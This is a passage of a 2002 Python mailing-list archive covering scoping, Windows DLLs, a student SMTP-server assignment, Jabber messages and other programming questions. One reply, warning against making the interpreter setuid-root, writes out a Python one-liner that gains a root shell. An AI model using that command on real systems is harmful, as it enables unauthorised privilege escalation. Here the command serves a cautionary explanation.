every other type of writing I do... I'm more or less saying these words to myself in my head as i'm typing (and i'm by no means slow at this =). -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com "yattaze~~! oyajiii~~!" - dan, super-puzzle-fighter-2-x From rhymes at myself.com Sat May 11 13:30:07 2002 From: rhymes at myself.com (Lawrence Oluyede) Date: Sat, 11 May 2002 19:30:07 +0200 Subject: Using VIM Message-ID: How can i configure VIM to edit Python sources? (using Linux - Slackware 8) -- Lawrence Oluyede rhymes at myself.com From pbeck at ciberbit.pt Fri May 17 15:07:48 2002 From: pbeck at ciberbit.pt (Pedro B. Gomes Costa) Date: Fri, 17 May 2002 20:07:48 +0100 Subject: How many languages features are available for OO support? Message-ID: <003501c1fdd6$229ba960$0cc8a8c0@pedro> Hi, I also agree with you, but i think that maybe function atributtes were included in Python 2.1 (PEP 232) and "descriptors" were included in Python 2.2 to serve that purpose. >From "Whats new in Python 2.2" (http://www.amk.ca/python/2.2/) : 2.2 Descriptors In previous versions of Python, there was no consistent way to discover what attributes and methods were supported by an object. There were some informal conventions, such as defining __members__ and __methods__ attributes that were lists of names, but often the author of an extension type or a class wouldn't bother to define them. You could fall back on inspecting the __dict__ of an object, but when class inheritance or an arbitrary __getattr__ hook were in use this could still be inaccurate. The one big idea underlying the new class model is that an API for describing the attributes of an object using descriptors has been formalized. Descriptors specify the value of an attribute, stating whether it's a method or a field. With the descriptor API, static methods and class methods become possible, as well as more exotic constructs. 8 PEP 232: Function Attributes In Python 2.1, functions can now have arbitrary information attached to them. People were often using docstrings to hold information about functions and methods, because the __doc__ attribute was the only way of attaching any information to a function. For example, in the Zope Web application server, functions are marked as safe for public access by having a docstring, and in John Aycock's SPARK parsing framework, docstrings hold parts of the BNF grammar to be parsed. This overloading is unfortunate, since docstrings are really intended to hold a function's documentation; for example, it means you can't properly document functions intended for private use in Zope. Arbitrary attributes can now be set and retrieved on functions using the regular Python syntax: def f(): pass f.publish = 1 f.secure = 1 f.grammar = "A ::= B (C D)*" The dictionary containing attributes can be accessed as the function's __dict__. Unlike the __dict__ attribute of class instances, in functions you can actually assign a new dictionary to __dict__, though the new value is restricted to a regular Python dictionary; you can't be tricky and set it to a UserDict instance, or any other random object that behaves like a mapping. Regards, Pedro Costa "Gon?alo Rodrigues" wrote in message news:ip5aeu4c4p9ab7q4k5uf09dj94r1sjfr0t at 4ax.com... > On Fri, 17 May 2002 13:41:00 +0100, "Pedro B. Gomes Costa" > wrote: > > >Hi > > > >> > Does Python support the notion of an abstract class or an interface > >> > through the use of language features? > > > >Here is a quote from the excelente book "Thinking in Python" from my > >favourite C++/Java and now Python book writer, Bruce Eckel > >(www.bruceeckel.com) > > > >"Because Python is weakly typed, it doesn't really care about interfaces - > >all it cares about is applying operations to objects (in fact, Java's > >interface keyword would be wasted in Python). This means that inheritance in > >Python is different from inheritance in C++ or Java, where you often inherit > >simply to establish a common interface. In Python, the only reason you > >inherit is to inherit an implementation - to re-use the code in the base > >class." > > > >Btw, you can download a electronic version of the book from the address > >above. > > > >Pedro Costa > > > > I agree with what you say, but interfaces can serve another very > important purpose (VIP). Quoting from M. Pelletier interfaces PEP 245: > > "There are many implied interfaces in Python, commonly referred to as > "protocols"." > "Currently determining those protocols is based on introspection, but > often that also fails. For example, defining __getitem__ implies both a > sequence and a mapping (the former with sequential, integer keys). > There is no way for the developer to be explict about which protocols > the object intends to implement." > "There is no unified model for determining if an object can be used in a > certain, valid way." > > That is, an interface specification could (should) serve to declare a > protocol for a given object, e.g. if a class implemented interface > IIterable (the objects are iterable) then a method __iter__ must be > declared in the class and with the right signature. > > If for a moment we take an extensional definition of interface (= a set > of classes) then prolly it could be implemented using metaclasses, > although I haven't figured out *exactly* how. Some syntactic sugar could > then be added on top of this (a la PEP 245). > > Anyway, what I would like to stress is that in Python one mostly codes > for/against behaviour (protocol) and not type, and that some form of > behaviour declaration (interface) would be highly desirable, IMHO. > > > All the best, > Gon?alo Rodrigues > -- > http://mail.python.org/mailman/listinfo/python-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: From simon at nospam.demon.co.uk Sun May 5 04:30:40 2002 From: simon at nospam.demon.co.uk (Simon Foster) Date: Sun, 5 May 2002 09:30:40 +0100 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3cd46857$0$8508$cc9e4d1f@news.dial.pipex.com> <3cd77dd6.1099557299@news.dsl.pipex.com> Message-ID: <3cd4edb0$0$230$cc9e4d1f@news.dial.pipex.com> "Tim Hammerquist" wrote in message news:slrnad92os.18l.tim at vegeta.ath.cx... > Operating under the fairly certain assumption that (2*PI) radians = 360 > degrees, I simply replace pi with 180 degrees in the classic geometric > functions. Thus: > I see what you're driving at, but the fact that 2*pi radians = 360 degrees still does not change the value of pi (thankfully)! > To satisfy your question, however, my value of pi, stored permanently in > my brain to six significant digits since Mr. Chatfield's calc class in > high school: 3.14159 ;) > I have 3.141592653 C:\>python Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> from math import pi >>> pi 3.1415926535897931 >>> Cheers. From tdelaney at avaya.com Tue May 7 18:47:30 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Wed, 8 May 2002 08:47:30 +1000 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) Message-ID: > From: Johann Hibschman [mailto:johannh at uclink.berkeley.edu] > "Fredrik Lundh" writes: > > > also see: > > > > http://www.zooko.com/shootout-compress.html > > Zooko is a loon. That's brilliant! It would be interesting to see how much the compression ratio change when the files are compressed as a whole, compared to compressing each individual file. This might show up reuse between modules/files (e.g. the use of "list" in many places). I may just try that now, using the entire shootout ... Tim Delaney From kragen at pobox.com Wed May 15 16:47:58 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 15 May 2002 16:47:58 -0400 Subject: Scope in 2.2.1 References: Message-ID: <83adr15e9t.fsf@panacea.canonical.org> "David LeBlanc" writes: > I was refering to a functional view of how python works and not how it > actually works. Me too. > If what i'm told is true (and I don't think i've been > mislead), I think that what one might call initializers or > bind-with-assignment are effectively (if not actually) declarations: > a = 0; You can call them whatever you like, but most of us call them "assignment statements". And they sort of function as declarations, yes, if they're not in global scope and there isn't a global statement declaring the target global in the same block and the target is an identifier and not an attribute ref, a subscription, or a slicing, and with the caveat that two such "declarations" in the same block with the same identifier declare the same variable, not two different variables with the same name. And, as you pointed out in the first place, the scope of the "declaration" may in fact extend *above* the declaration itself. In short, you can think of assignment statements as a kind of declaration, but it's likely to confuse you more than it enlightens you. It's easier to think that the compiler infers declarations in places. > declares (binds) a variable called "a" and assigns a value of 0 to it. Declaration and binding are different, except in pure functional languages. Binding and assignment are the same. > Although Python has a single pass sequential parser, it has some behaviors > that act as though there are one or more pre-passes to discover bindings > (and Terry Reedy mentioned another "pass" that recognizes generators). Well, as I said in the post you are replying to, these passes don't affect the parsing. > Please see the posts by Terry Reedy (he refers to passes as "runtimes") and > Tim Peters with this same subject. I read them; Tim's post in particular was excellent. > I don't really think of global as a binding, although I know that > technically it is. Technically it is not. It is a scope, and there is also a global statement that declares that a variable does not exist in the local scope. A "global binding" is just the binding of a variable that happens to be global. David LeBlanc wrote: > [Kragen Sitaker wrote] > > [David LeBlanc wrote] > > > [Alex Martelli wrote] > > > > the x in the print may reference either the same binding as > > > > given by f's caller, or the binding to 45. It IS certainly a > > > > reference to the *local variable* named x, but what binding of > > > > that local variable applies, it's anybody's guess. "scoping" > > > > might be a useful neologism here. > > > > > > gaaaaa! this is mad! How can you write a sane program in this sort of > > > environment?!? > > > > Goodness, David, I had no idea you were such a functional-programming > > enthusiast. :) > > While functional programming may be a wonderful thing, my experience with > functional programming languages has left me cold. I was recently encouraged > to take a look at Haskell and my impression is that it makes Perl look > positively lucid in comparison. I have also looked at ml and caml and was > similarly impressed. Well, the attribute of Python that you described as "mad" is precisely the attribute that distinguishes pure functional languages like Haskell from languages that support imperative programming, such as C, C++, Pascal, Perl, SML, Caml, and Python. (SML and Caml here are debatable, because they don't support rebinding of variables, just mutation of them.) If you really think it's "mad", then you are opposing the use of imperative programming languages. It appears that you just didn't understand what Alex was talking about, even after Tim's lucid explanation of how you didn't understand it. I thought it might be the case that you didn't understand when I replied in the first place and thought I'd have a little fun, trusting that you'd understand the joke when you came to understand what Alex was talking about. From your use of terminology in the post to which I am replying, it appears that despite Tim's and Alex's explanations, you still don't get it. (Unless you're simply playing games and insisting on using your own personal definition of "bind", pretending that everybody else means the same thing you do by it.) I hope the present post is able to clear things up for you, but I doubt my explanations can penetrate where Tim's and Alex's failed to penetrate. From loewis at informatik.hu-berlin.de Sun May 5 12:49:21 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 05 May 2002 18:49:21 +0200 Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: Alex Martelli writes: > So, it's PERFECTLY feasible on Windows for a DLL to access symbols that > are defined in the executable that loads said DLL, by any of several > means. That's very interesting indeed. In http://python.org/sf/551093, Jason Tischler argues that you absolutely must build Python with a shared Python DLL, or else it can't possibly work. I thought this was overstated, but didn't dare question the "common knowledge" that you can only link against DLLs, not executables. > I really can't see that. A standalone python.exe might be less than > optimal for other reasons I wonder what those "other reasons" could be, though. What exactly *is* the rationale for Python using a DLL on Windows? Regards, Martin From com-nospam at ccraig.org Wed May 22 21:39:50 2002 From: com-nospam at ccraig.org (Christopher A. Craig) Date: 22 May 2002 21:39:50 -0400 Subject: 2**HUGENUMBER Why not optimise it? In-Reply-To: <3CEBDD1F.3070107@rogers.com> References: <3CEBDD1F.3070107@rogers.com> Message-ID: "Mike C. Fletcher" writes: > really huge exponents. Python obviously optimises 1**x (since 1**1000000 > returns instantly), so why not 2**x where x > (30 or 62)? Obviously? It actually doesn't optimize it at all, it's just that you can calculate 1*1 a lot faster than (2**99999999)*2 -- Christopher A. Craig "No one has ever called us untrustworthy" -- Steve Balmer From SSchukat at dspace.de Wed May 29 12:13:24 2002 From: SSchukat at dspace.de (Stefan Schukat) Date: Wed, 29 May 2002 17:13:24 +0100 Subject: windows-python-question Message-ID: <84257D042AA7D411B3F700D0B7DB9B7C13B16D@PDC-DSPACE> Just create a file extension and set the open command appropiate e.g. """" REGEDIT4 [HKEY_CLASSES_ROOT\.rnt] @="RNT.File" [HKEY_CLASSES_ROOT\RNT.File\shell\Open] [HKEY_CLASSES_ROOT\RNT.File\shell\Open\command] @="[Path to Python]\\python.exe \"[Path to rnt script]\" \"%1\" %*" Stefan -----Original Message----- From: Uwe Schmitt [mailto:uwe at rocksport.de] Sent: Wednesday, May 29, 2002 3:32 PM To: python-list at python.org Subject: windows-python-question Hi, I'd like to write a python-program which is startet under Win when a file with an apropriate extension ('.rnt' for example) is double-klicked. How does my python-program know which file was clicked so that my program can load it ??? Greetings, Uwe. -- Dr. rer. nat. Uwe Schmitt ICQ# 159647634 Uwe.Schmitt at num.uni-sb.de Universitaet des Saarlandes Angewandte Mathematik Building 36.1 Room 4.17 PO-Box 151150 D-66041 Saarbruecken Mobile:0177/6806587 Fax:+49(0)681/302-4435 Office:+49(0)681/302-2468 -- http://mail.python.org/mailman/listinfo/python-list From cogs2002 at hotmail.com Mon May 13 12:43:35 2002 From: cogs2002 at hotmail.com (alex gigh) Date: Mon, 13 May 2002 16:43:35 +0000 Subject: Implementing a mail server in Python (socket programming) Message-ID: Implementing a mail server in Python (socket programming) I sent this email earlier with embedded HTML (because of Hotmail...). So here is the text version Hi; I was surfing the web for Python related sources and I found out that you know some things about Python programming... I want to program a mail server (socket programming) writen in Python as part of my Computer Science degree in Sussex University but I am very unfamiliar with Python and socket programming. I was wondering if you could give me a little help or guidance regarding this matter. Below, I give some more details about the mail server that I actually have to produce and some questions I have... I kindly appreciate your help... *** I have to design and implement a simple mail server. The program is supposed to do two things: A) Receive emails from standard mailer. To this purpose it must implement the basic commands of SMTP, that is HELO, MAIL FROM, RCPT TO, DATA, QUIT. The messages received must be deposited in users mailboxes. These will be files the format of which must be compatible with standard mailer programs (so that users can actually read their emails!) Consider the set of users fixed. (So I don't have to do any administration like creating users etc...) I'm allowed to ignore all file locking problems. Users must be allowed to specify an antispam file (a kill file): messages that match keywords specified in such a file must be dropped and not inserted in the mailbox. Some questions I have about these requirements... maybe you're able to answer them... 1) How shall I design the format of the kill file so that it's suitable to solve the assignment. Should I use a file of words, an array of words or any other data structure? Would I compare every single word in all mails to each of the words in the kill file? THen maybe a search tree might be handy.... 2) How could/should I implement the mailboxes? Shall I create a folder for each user and have each message saved as a separate or shall I have a single file for each user and append each message new to this file? What would be the (dis)advantages of each approach? I know that mails end with a "." on a single line. How could I append new messages to a single file for each user if this is the better way? *** B) The server must deliver email messages written in the standard rfc822 format. To this purpose, in principle I will have to contact a DNS server to obtain the name of the mail exchanger (MX) associated to the given address. To simplify the task, I'm allowed to either ignore this part, and assume that all addresses already refer exclusively to mail exchangers, or I can use the function queryMX(hostname) provided below for free. (I put this function all the way at the bottom of this email in case it's relevant) After that, I must contact the mail exchanger at port 25 and play the SMTP protocol. Because SMTP works only with 7bit ASCII data, I will have to mime-encode all messages containing more complex stuff. I'm allowed to use the mimify library (and related ones) of the standard Python distribution. Question: The user agent will use pop3 or IMAP to get the mail from the mailbox. Is this why I have to decode Mime? *** I must implement the communication protocols using sockets, and not the high-level mailer classes available in Python. I'm allowed however to use any class I like for local computation, eg parsing email files and messages, searching headers, do text manipulation, and so on. I'm not supposed to implement any form of error recovery or reporting. While receiving messages, it is acceptable to close the connection if the protocol is broken and to drop messages to unknown users; while delivering, it is enough to report to the terminal that delivery is not possible if some serious error occur. *** Could you please give me ideas on how to tackle this programming exercise? I have read on Internet protocols and I'm familiar with the Java programming language (but I must use Python!). Do you know any open source Python project similar to what I have to do so that I can have a look at them? All the ones I saw use smtplib, which I think I'm not allowed to use... Your help is kindly appreciated... Thank you very much for helping me and sorry for taking your time! Alex *** The provided queryMX function mentioned above: The function queryMX(hostname)below returns a list of mail exchanger that serve host hostname in strict order of preference. The list will have the form of a list of pairs [(mailexchanger1, IP_address1),(mailexchanger2, IP_address2),....] where the first component of a pair is the mail exchanger name and the second is its IP address. (Notice that if the list is empty, the host has not got any mail exchanger and the message cannot be delivered.) For instance, invoking queryMX("cogs.susx.ac.uk") the result is: [('rsunx.crn.cogs.susx.ac.uk', '139.184.48.12'), ('tsunb.ctn.cogs.susx.ac.uk', '139.184.50.11'), ('tsunx.ctn.cogs.susx.ac.uk', '139.184.50.12'), ('rinka.central.susx.ac.uk', '139.184.14.19'), ('suna9.central.susx.ac.uk', '139.184.32.27')] Note: This code will only work on Solaris. To adapt it to Windows or Linux, you will have to adjust the path to the nslookup executable (most likely C:\WINDOWS\SYSTEM32\NSLOOKUP and /usr/bin/nslookup). The code of the function is as follows. import os,sys,popen2,re resolver = "/usr/sbin/nslookup -query=mx " def queryMX(host): mx = [] addr = {} fout,fin = popen2.popen2(resolver + host) line = fout.readline() while line <> '': m = re.search( 'preference\s*=\s*(\d+),\s*mail\sexchanger\s*=\s*([\w\.]+)', line) if m: mx.append((eval(m.group(1)),m.group(2))) else: m = re.search( '([\w\.]+)\s*internet\saddress\s*=\s*([\d\.]+)', line) if m: addr[m.group(1)] = m.group(2) line = fout.readline() if mx == []: return mx mx.sort() result = [] for i,k in mx: try: result.append((k,addr[k])) except: pass return result _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx From whisper at oz.net Fri May 31 23:02:15 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 31 May 2002 20:02:15 -0700 Subject: Crashing IDLE In-Reply-To: <3CF825C7.E45C710E@engcorp.com> Message-ID: Ah! you mean "SLEEP" or "HIBERNATE"! :-). I believe in those cases the microcode loop stalls on either the "sense" step (SLEEP) or some power level signal (HIBERNATE). In both cases, as you mention, power requirements drop a lot (less then 1 milliamp) or to virtually nothing (2-3 microamps). WRT to Python in microcode, an early implementation of Smalltalk was microcoded into the Xerox Dorado 16 bit mini-computer back in the late 70's. I think Python has many of the same issues to deal with. In that implementation, some functionality actually went from microcode back to macro code and then back into microcode - i.e. some primatives where detected by micrcode and dispatched to macro coded routines. This was mostly out of microcode space constraints and CPU sophistication (or lack thereof), and I doubt either of those would face a more recent/modern implementation. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Peter Hansen > Sent: Friday, May 31, 2002 18:39 > To: python-list at python.org > Subject: Re: Crashing IDLE > > > David LeBlanc wrote: > > > > Peter Hansen wrote: > > > Instructions like HALT simply put the CPU into a state where > > > *all* it does is sit and check for interrupts, and sometimes > > > bump timer registers along. It is in suspended animation, > > > not reading or writing memory or incrementing the program > > > counter. > > > > "HALT" is often implemented as a "jump to self" in the chip's microcode. > > This is a simple way of taking it through the microcode > > sense/dispatch/process loop that is the basis of all macro ("regular") > > instructions. > > I think you're right. Probably STOP is what I meant, which > would be one step closer towards completely frozen than HALT. > I may have the names wrong (and relatively few micros support > something like STOP) but the idea is that there is an > instruction that does not even execute that loop in microcode, > so that the main clock can be stopped and power consumption > lowered. This sort of thing is no doubt uncommon in generic > CPUs used in PCs, but in embedded micros, and probably laptop > CPUs, it's very important. > > > I really meant assembler as an analogy - Python's VM (interpreter if you > > prefer) is quite analgous to a CPU with C as the microcode for the > > underlying "simple" CPU. Too bad none of the user microcodable > chips ever > > made it into production/broadspread use. It would be > interesting to create a > > truly microcoded Python chip. Perhaps one of those 200,000 gate > FPLA's.... > > hmmmmmmm. > > I'm not expert, but the little time I've spent looking into > the heart of the Python interpreter tells me it would be *much* > more difficult to do that than with, say, the Java engine. Java > has much lower level bytecode than does Python, and it's much > less dynamic. It would be very cool to see though. And a blend > of microcoded and non-microcoded routines could be effective. > > -Peter > -- > http://mail.python.org/mailman/listinfo/python-list From whisper at oz.net Wed May 22 20:32:52 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 22 May 2002 17:32:52 -0700 Subject: "casting" Python objects In-Reply-To: Message-ID: > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of DJW > Sent: Wednesday, May 22, 2002 16:29 > To: python-list at python.org > Subject: "casting" Python objects > > > I know there is no such thing in Python as C-style casting, but I don't > understand what idiom is supposed to be used instead. > > Here's the situation: I'm using jabber.py (in a worker thread) to recieve > and send messages for my application. When messages arrive within > jabber.py, > a message is created of type jabber.Message and placed in a Queue by my > connection object. > In the main thread, I have a sub-class of jabber.Message, call it "FooMsg" > (there are actually going to be multiple derived types of jabber.Message). > My main application thread has a loop that pulls messages off the > Queue and > calls the appropriate handler inside of the message. However, the type of > the messages are of type jabber.Message, not my FooMsg that contains the > handlers: > > > class FooMsg( jabber.Message): > > def Handler( self ): > # call approriate handler for message > ... > > while 1: > msg = msg_queue.get() # returns type jabber.Message > msg.Handler() # ERROR: Handler() is only in type FooMsg!!! > > Obviously, one way around this is to only place FooMsgs in the > Queue in the > first place. But that seems to defeat the purpose of using a generic, > reusable module like jabber.py. I want to use an unmodified version of > jabber.py if at all possible. The only other way I can figure to > do this is > something like: > > while 1: > msg = msg_queue.get() # returns type jabber.Message > node = msg.asNode() # get the contents of the jabber message > foo_msg = FooMsg( node ) # create a new FooMsg with the > message contents > foo_msg.Handler() # Now we are calling the correct type! > > But this seems pretty ugly and inefficient. Is there something > more Pythonic > (ie, better) that I'm not seeing here? (also, I know that this is > ugly OOP) > > Thanks, > > Don Unlike a typed language like C++, containers like arry or dictionary are containers of any object, not just some particular type. If msg.asNode can discern the type of the Jabber message as it's getting it, the solution is to create a Message subclass of that type and put it in the queue. Then insure that each Message subclass has a method called "handler". Then just call node.get().Handler() et viola! Dave LeBlanc Seattle, WA USA From peter at engcorp.com Thu May 16 16:49:45 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 16 May 2002 16:49:45 -0400 Subject: which db should I use? References: <5oonba.f4l.ln@127.0.0.1> <5asvba.8ha.ln@217.11.196.198> <3CE3C6D3.A94E7629@engcorp.com> <7358eu4sajahjibovl2m5p1coa11s0t01o@4ax.com> Message-ID: <3CE41B69.B6783CF2@engcorp.com> Tino Lange wrote: > > Peter Hansen wrote: > >Tino Lange wrote: > >> >> Firebird database > >> >> A Python interface is available, of course, > >> > >> Where can I find that Python interface? > > > >Hmmm, didn't Google work this time? > > > >http://www.google.com/search?q=python+firebird+database > > > Of course works google! There I find some links to a third-party > module names kinterbasdb. Maybe it's this? http://kinterbasdb.sourceforge.net/ does appear to be the right thing. "A Python Extension Package for the Interbase?/Firebird Relational Database" That's as official as you're going to get I think. It is, after all, mentioned on http://www.python.org/topics/database/modules.html . -Peter From sholden at holdenweb.com Fri May 10 14:04:00 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 14:04:00 -0400 Subject: Error Log References: Message-ID: "Billy Ng" wrote ... > Good stuff! but the debian linux do not have this module to downloand. > > Billy Ng > > "Mark McEahern" wrote in message > news:mailman.1021042877.24965.python-list at python.org... > > [Billy Ng] > > > I need to write a error log module that append the error line into a log > > > file every time an exception is thrown. Would anybody please > > > give me input for how to do it in pytohn, thanks! > > > > There's a PEP for adding this to Python's standard library: > > > > http://www.python.org/peps/pep-0282.html > > > > Also, see this: > > > > http://www.red-dove.com/python_logging.html > > > > Cheers, > > > > // mark > > Billy, you're just going to have to be brave and install something that Debian haven't packaged for you! >From the web page Mark linked to: """It is packaged as a single file, logging.py. You just need to import logging and you're ready to go.""" It really won't be difficult, and you can ship it with your program if you are planning to distribute something. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From aahz at pythoncraft.com Wed May 29 16:10:22 2002 From: aahz at pythoncraft.com (Aahz) Date: 29 May 2002 16:10:22 -0400 Subject: New (?) suggestion re: 'while x = f(): ...' References: Message-ID: In article , Ville Vainio wrote: >aahz at pythoncraft.com (Aahz) wrote in message news:... >> >> This isn't abuse; this was precisely the intention of creating iterators >> and generators. > >Speaking of which - why does the iterator of file objects return >strings with trailing \n's in place? Considering that we don't have to >detect EOF by ''... Because a line *is* a string ending with \n. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From kowald at molgen.mpg.de Thu May 2 08:20:27 2002 From: kowald at molgen.mpg.de (Axel Kowald) Date: Thu, 02 May 2002 14:20:27 +0200 Subject: Disconnecting from COM server ? Message-ID: <3CD12F0B.8020408@molgen.mpg.de> Hello, I'm using Activestates Python (2.1 & 2.2) to connect to a COM server (win32com.client.Dispatch()). The problem is that python crashes when the script finally terminates ("The instruction at ... referenced memory at .... The memory could not be read"). I guess before exiting I should properly disconnect from the COM server, but what is the proper way ? Many thanks, Axel From reply at in_newsgroup.tks Sun May 26 08:24:06 2002 From: reply at in_newsgroup.tks (Scrumpy) Date: 26 May 2002 12:24:06 GMT Subject: Ruby for Newbie?! References: <91acf731.0205200939.41e89a8f@posting.google.com> Message-ID: ptkwt at shell1.aracnet.com (Phil Tomson) wrote in news:acoga801b32 at enews2.newsguy.com: > In article <91acf731.0205200939.41e89a8f at posting.google.com>, > Jason Voegele wrote: >>Scrumpy wrote in message >>news:... >>> I want to learn a programming language. >> >> >>> Finally, is there a good Ruby book aimed at newbie programmers (not >>> existing programmers new to Ruby)? >> >>It has not yet been released, but Pete McBreen, author of "Software >>Craftmanship", is currently writing a Ruby book aimed at newbie >>programmers. Until this book is completed, the next best thing would >>be Dave Thomas' and Andrew Hunt's "Programming Ruby", which is >>available online at: >> >>http://www.rubycentral.com/book/ >> > > Actually, Mark Slagell's "Teach Yourself Ruby in 21 days" would probably > be a good choice for newbie programmers. > > Phil Thanks (and for your previous post), I'll have a look for that one in the bookshops. Scrumpy :) From shredwheat at attbi.com Thu May 30 11:34:57 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Thu, 30 May 2002 15:34:57 GMT Subject: Spiral References: Message-ID: <3CF6467A.6020905@attbi.com> Chris wrote: > I've written a small QBASIC program which draws a spiral. Here is the code: > SCREEN 12 > CLS > FOR t = 1 TO 400 STEP .01 > x = .5 * t * COS(t) > y = .5 * t * SIN(t) > PSET (x + 320, y + 240) > NEXT t chris, hopefully this helps. it is a version of your program in python. it uses pygame to actually handle the graphics (http:/wwww.pygame.org) for the most part it is exactly the same, just a little extra work to do at the beginning and end of the program. in python we need to "import" the different modules we want to use. to set the graphics mode is a little more work than "SCREEN 12". you can take out the 'FULLSCREEN' flag to pygame.display.set_mode(), and it will run in a window, which might be nicer? i'm not framilair with the "PSET" command. what color does it set the pixels too? i just guessed white, but you can see it is easy enough to change in the python version. at the end we have to flip the display, so all our drawing becomes visible. we also wait for the user to close the window or press the keyboard before the program finishes. the functions for all the pygame calls are much longer than the simple keywords in basic. but pygame can also do a lot more than what you have available in basic too (at least, i think so). the pygame functions are all organized into different modules. i'd be curious to know about the speed? on my celeron 1.3g it is almost instantaneous. i'm not sure how the basic version compares, but i'm sure it's close. -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: spiral.py URL: From chrisl_ak at hotmail.com Thu May 9 19:43:20 2002 From: chrisl_ak at hotmail.com (Chris) Date: Thu, 09 May 2002 23:43:20 -0000 Subject: Python stagnating? References: Message-ID: I appreciate all the replies. I was not trying to come down on anyone, or imply anything! As someone considering investing time in Python (a language that is looking very interesting), I was curious if development was still active and am always looking for resources like what the starship site looks like it USED to be. And maybe will be again! I will submit notes of broken links or other oddities when I have a chance... I'm glad to hear that things are proceeding very well... What would be really nice is an easily searchable, online manual. As a user I really like the approach taken by the PHP manual, which integrates easy searching, an auto search on the URL, and user comments all in one place. Time to start digging around! From tjreedy at udel.edu Sat May 25 17:31:10 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 25 May 2002 21:31:10 GMT Subject: String problem References: <20020526.064829.1504569917.16939@iprimus.com.au> Message-ID: "Occean" wrote in message news:20020526.064829.1504569917.16939 at iprimus.com.au... > Assume that you have an text article. > "Paint my love, you should paint my love > It's a picture of thousand sunset > > It's a freedom of , a thousand doves > ......" If this is a literal multiline string, it must be triple quoted. > you have to read the article into a string called str 'str()' is a builtin function, now type object. It is one name you really, really should not use. Rebinding builtin names, while legal, and occasionally useful when you want to replace the builtin, is a bad habit that you should unlearn now. >and use that string to pass into the function called > display(str). This function will display the exact content of the article back > into the screen. 'print text' will do the same >The problem is when you read the article in the string > you have to put "\n\" at the end of each line in order to let the system > know the new line. Whether you use literal or read in from file, \n's should already be there. For example: > str = ' Paint my love, you should paint my love\n\ > It's a picture of thousand sunset \n\ > \n\ > It's a freedom of , a thousand doves\n\' > > I Just wondering are there another to do that without insert "\n\" into > the end of each line. Don't shot yourself in the foot by using single quotes for multiline strings. Use triple quotes: mystring ='''\ Paint my love, you should paint my love It's a picture of a thousand sunsets It's a freedom of a thousand doves''' Terry J. Reedy From eppstein at ics.uci.edu Sat May 11 01:41:54 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Fri, 10 May 2002 22:41:54 -0700 Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> <3CDCB6AF.8030903@horvath.com> Message-ID: In article <3CDCB6AF.8030903 at horvath.com>, Bob Horvath wrote: > > def fiveatatime(L): > > L = iter(L) > > while 1: > > yield (L.next(),L.next(),L.next(),L.next(),L.next()) > > > > then call fiveatatime(file) > > > > This will group each five line chunk into a tuple of five strings. > > It will throw away lines at the end that are not a multiple of five -- > > you need to specify more carefully what to do if that is a problem. > > > > > That will indeed work, I think, but I am not sure I understand the end > condition. What happens when you "next()" off of the end? I was > expectin an exception, but it seems to get swallowed. You would typically use this in a for-loop: for chunk in fiveatatime(file): do something The exception terminates the loop. -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From sabu at pure-elite.org Tue May 7 10:14:25 2002 From: sabu at pure-elite.org (Xavier Kaotico) Date: Tue, 07 May 2002 10:14:25 -0400 Subject: (no subject) Message-ID: Hey Daniel, I was at this exact spot once before. The reason why you are getting the OSError/permission fault is because Python is not +s/+sg. See, the script can be s+ and owned by root with world executions, and still won't be able to call setuid(0)/setgid(0). Since Python is an interpreter, and the script calls it to execute its payload; logically, it will not be able to setuid(0)/setgid(0) from a -s/-sg Python binary. In order for your script to work right, you must +suid Python, however -- that idea is bad, since Python, with +s can be turned into a backdoor, by your system users, if they had execution rights. A malicious user would merely execute: python -c 'import os; os.setuid(0);os.setgid(0);os.system("sh")' And, right there -- would have a rootshell, gained from your +suid attachment to Python. Thus, making it quite a bad idea. And of course, that would mean that any other environment your script is run under -- it must attain a +suid Python as well; thus complicating the whole purpose (only if your planning to distribute the code of course). Take care, Xavier. ----- Original Message ----- From: insaney at ufl.edu (Daniel) Date: 7 May 2002 06:33:10 -0700 To: python-list at python.org Subject: os.seteuid I'm new at this, so maybe I've just got it all wrong, but I have a python script owned by root:root with chmod +s. Should this script be able to set-uid/gid/euid/egid or anything? The script fails at changing any of these to anything else. Help? ~ Daniel $ ls -al testing2 -rwsr-sr-x 1 root root 205 May 7 09:10 testing2 $ cat testing2 #!/usr/bin/python2 import os print os.getgid(),os.getegid(),os.getuid(),os.geteuid() print os.getgroups() os.seteuid(0) $ ./testing2 48 48 48 48 [48] Traceback (most recent call last): File "./testing2", line 5, in ? os.seteuid(0) OSError: [Errno 1] Operation not permitted if useful... running RH linux 7.2... have tried python 2.2 and python 1.5.2 (without print os.getgroups() line) -- http://mail.python.org/mailman/listinfo/python-list From arena at pacific.net.sg Mon May 13 00:56:56 2002 From: arena at pacific.net.sg (Matthew 